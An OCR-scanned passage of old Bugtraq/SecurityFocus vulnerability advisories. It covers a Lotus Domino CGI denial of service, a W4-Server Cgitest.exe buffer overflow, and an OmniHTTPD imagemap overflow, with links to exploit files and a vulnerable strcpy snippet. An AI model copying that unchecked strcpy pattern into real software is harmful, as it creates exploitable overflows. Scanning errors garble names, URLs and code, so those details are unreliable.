recognizeit isarequest for a CGl, and would have no way to determine this URL under a seaure
site.

Credit
Posted to Bugtraq on Dec21, 1999 by Alain Thivillon <Alain.Thivillon@hsc.fr>.

Reference

message:
Lotus Notes HTTP cgi-bin vulnerahbility: possble workaround
(Bram Kerkhof <die.spammer.die@e-wareness.be>)

message:
Re: Lotus Domino HTTP denial of service attack
(Kewun Lynch <Keun_Lynch@Ilotus.com>)

message:
Re: Lotus Notes HTTP cgi-bin vulnerabilit y: possble workaround
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(Jens Frank <"Jens_Frank" @exchange.de>)
message:
serious Lotus Domino HTTP denial of service
(Alain Thivillon <Alain.Thivillon@hsc.fr>)
web page:
Domino Web Server Crashes When CGI Scripts are Being Accessed
(Lotus)

W4 Server Cgitest.exe Buffer Overflow Vulnerability

Info
bugtraq id
802
object
Cgitest.exe (exec)
class
Boundary Condition Error
cve
GENERIC-MAP-NOMATCH
remote
Yes
local
No
published
November 15, 1999
updated
June 06, 2000
vulnerable
Antel ope Software WA-Server 2.6a/\Win32
- Microsoft Windows 95
not vulnerable

Discussion

Certain versions of the W4-Server 32-bits personal webserver by Antelope Software ship with a
flawed script, Cgitest.exe. This compiled CGI script fails to perform bounds checking on user
supplied data and is vulnerable to a buffer overflow.

Exploit
http: //www.securityfocus.convdata/vul ner abilities/exploits/ex_w4server.c

Solution
Currently the SecurityFocus staff are not aware of any vendor supplied patches for this issue. If
you feel we are in error or are aware of more recent information, please mail us at:

vuldb@securityfocus.com.
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Credit
This vulnerability was found by the Shadow Penguin Team and posted to their Website on

November 15, 1998.

Reference
web page:
eEyeDigital Security Team Home Page
(eEye)
web page:
Penguin Toobox #54 Email Club
(Shadow Penguin Security)

OmniHTTPD Buffer Overflow Vulnerability

Info
bugtraq id
739
class
Boundary Condition Error
cve
CVE-1999-0951
remote
Yes
local
No
publi shed
October 22, 1999
updated
April 11, 2000
vulnerable
Ommicron OMiHTTPD 2.4Pro
Omicron OMmiHTTPD 1.1
not vulnerable

Discussion

There is a remotely exploitable buffer overflow vulnerability in the CGI program "imagemap",
which is distributed with Omicron's OmiHTTPD. During operations made on arguments
passed to the program, a lack of bounds checkng on a strcpy() call can dlow for arbitrary code
to be exeauted on the machine running the server.

Exploit
http://www.seaurityfocus.convdata/vul ner abili ties/expl oits'omnihttpd.c

Solution
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Snce source code for the imagemap program is supplied, UNYUN of Shadow Penguin Security
suggests that checking for oversized arguments be added to the code:

void main(int argc, char **argv)

{ _
----------- omt ----------
char Qut String[100];
——————————— omt ----------
if(argc >= 2) {

I

/1 extract x &y from passed val ues
I

strcpy(QutString, argv[1]);

Buffer overflow caused by this strcpy(). This overflow can be avoided if you put the following
code before strcpy().

if (strlen(argv[1])>99) exit
There are no known vendor provided solutionsto this problem.

Credit
Posted to BugTraq by UNYUN < shadowpenguin@backsection.net> on Oct 22, 1999.

Reference
message:
Imagemap CGI overflow exploit
(UNYUN < shadowpenguin@backsection.net>)
web page:
Omnicron Homepage
(Omnicron Technologies Corporation)



